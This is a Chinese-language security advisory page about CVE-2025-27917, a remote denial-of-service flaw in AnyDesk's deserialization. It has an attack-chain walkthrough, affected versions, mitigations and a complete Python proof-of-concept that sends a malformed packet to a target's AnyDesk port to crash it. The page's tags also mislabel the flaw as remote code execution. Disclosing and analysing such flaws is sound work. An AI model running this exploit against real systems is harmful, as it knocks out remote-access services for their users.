IPBUF安全漏洞报告
English
CVE-2025-27917 CVSS 7.5 高危

CVE-2025-27917 AnyDesk 远程拒绝服务漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-27917
漏洞类型
远程拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AnyDesk(Windows/macOS/Linux/iOS/Android)

相关标签

拒绝服务反序列化漏洞空指针解引用AnyDesk远程代码执行网络攻击WindowsmacOSLinuxiOS

漏洞概述

CVE-2025-27917是AnyDesk软件中的一个高危远程拒绝服务漏洞。该漏洞影响AnyDesk在多个主流操作系统上的版本,包括Windows 9.0.5之前版本、macOS 9.0.1之前版本、Linux 7.0.0之前版本、iOS 7.1.2之前版本以及Android 8.0.0之前版本。漏洞的根本原因在于软件在处理远程数据时存在错误的反序列化逻辑,当接收到经过精心构造的恶意数据时,会导致内存分配失败并触发空指针解引用(NULL pointer dereference),最终造成AnyDesk服务进程崩溃,使目标用户无法正常使用远程桌面功能。由于该漏洞可通过网络远程触发,且无需任何认证凭证或用户交互,因此具有极高的利用便利性和危害性。攻击者可以利用此漏洞对AnyDesk服务器或客户端发起大规模拒绝服务攻击,导致远程协助、会议协作等业务被迫中断。

技术细节

该漏洞的核心问题在于AnyDesk的反序列化模块存在安全缺陷。在正常的通信过程中,AnyDesk客户端和服务器之间会交换序列化的数据对象以建立远程连接和传输控制指令。攻击者可以构造一个格式错误的序列化数据流,当AnyDesk尝试反序列化这个恶意数据时,会触发以下问题链:首先,反序列化函数在解析数据头和对象类型时出现类型混淆;其次,在尝试为新对象分配内存时,由于数据字段值异常导致分配失败;最后,当代码尝试访问本应被分配的内存指针时,实际上获得的是NULL空指针,随即进行空指针解引用操作。由于AnyDesk的核心服务进程未对这种异常情况进行充分的错误处理,直接访问NULL指针会导致进程触发段错误(Segmentation Fault)并崩溃。需要注意的是,该漏洞可能被用于更复杂的攻击场景,例如在某些配置下,内存分配失败可能间接导致堆内存损坏,为后续的代码执行提供可能性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网络中运行AnyDesk服务的设备。通过端口扫描(默认端口6566)发现活跃的AnyDesk实例,并确定其版本号以确认是否存在漏洞。
STEP 2
步骤2:构造恶意载荷
攻击者构造专门设计的畸形序列化数据。该数据包含异常的数据头、错误的对象长度字段和无效的类型标识符,目的是在反序列化过程中触发内存分配失败。
STEP 3
步骤3:发送攻击数据包
通过TCP连接到目标AnyDesk服务端口,发送构造好的恶意载荷。由于AnyDesk在接收到新连接时会解析协议头数据,畸形数据会立即被处理。
STEP 4
步骤4:触发漏洞
AnyDesk的反序列化模块尝试解析恶意数据时,由于数据格式错误导致内存分配函数收到异常参数,分配失败并返回NULL指针。
STEP 5
步骤5:进程崩溃
代码随后尝试访问NULL指针指向的内存地址,触发空指针解引用错误。由于缺乏适当的异常处理,AnyDesk进程因段错误(Segmentation Fault)而崩溃。
STEP 6
步骤6:拒绝服务效果
AnyDesk服务进程崩溃后,远程桌面功能不可用。如果被攻击的是服务器端,所有依赖该服务的远程连接请求都将失败,造成业务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-27917 PoC - AnyDesk Remote Denial of Service Description: Exploits incorrect deserialization leading to NULL pointer dereference Author: Security Research Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-27917 """ import socket import struct import sys def create_malicious_payload(): """ Construct malformed serialized data to trigger deserialization vulnerability This payload targets the memory allocation failure and NULL pointer dereference """ # AnyDesk protocol header header = b'ADSP' # AnyDesk Service Protocol signature # Version and type fields version = struct.pack('<H', 1) # Protocol version msg_type = struct.pack('<H', 0x0010) # Control message type # Malformed payload designed to cause memory allocation failure # Invalid object length that triggers integer overflow in size calculation invalid_length = struct.pack('<I', 0xFFFFFFFF) # Max uint32 value # Corrupted object type identifier object_type = struct.pack('<B', 0xFF) # Invalid type byte # Padding with specific byte pattern to trigger parsing error padding = b'\x00' * 64 + b'\xFF' * 32 # Construct final payload payload = header + version + msg_type + invalid_length + object_type + padding return payload def exploit_anydesk(target_host, target_port=6566): """ Send malicious payload to trigger DoS condition Args: target_host: Target AnyDesk server or client IP target_port: AnyDesk service port (default: 6566) Returns: bool: True if payload sent successfully """ try: print(f'[*] Target: {target_host}:{target_port}') print('[*] Creating malicious payload for CVE-2025-27917...') payload = create_malicious_payload() print(f'[*] Payload size: {len(payload)} bytes') print('[*] Establishing connection...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print('[*] Sending malicious payload...') sock.send(payload) print('[+] Payload sent successfully') print('[!] Target should crash due to NULL pointer dereference') sock.close() return True except socket.timeout: print('[-] Connection timed out') return False except socket.error as e: print(f'[-] Socket error: {e}') return False except Exception as e: print(f'[-] Unexpected error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') print(f'Example: {sys.argv[0]} 192.168.1.100 6566') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 6566 exploit_anydesk(target, port)

影响范围

AnyDesk for Windows < 9.0.5
AnyDesk for macOS < 9.0.1
AnyDesk for Linux < 7.0.0
AnyDesk for iOS < 7.1.2
AnyDesk for Android < 8.0.0

防御指南

临时缓解措施
如果无法立即升级AnyDesk版本,建议采取以下临时缓解措施:首先,在网络边界设备上严格限制对AnyDesk端口的访问,仅允许经过验证的IP地址连接;其次,监控AnyDesk进程状态,设置告警机制以便在服务崩溃时及时响应;再次,考虑暂时禁用AnyDesk的互联网模式,仅允许通过私有网络连接;最后,与AnyDesk厂商沟通获取官方补丁或临时解决方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表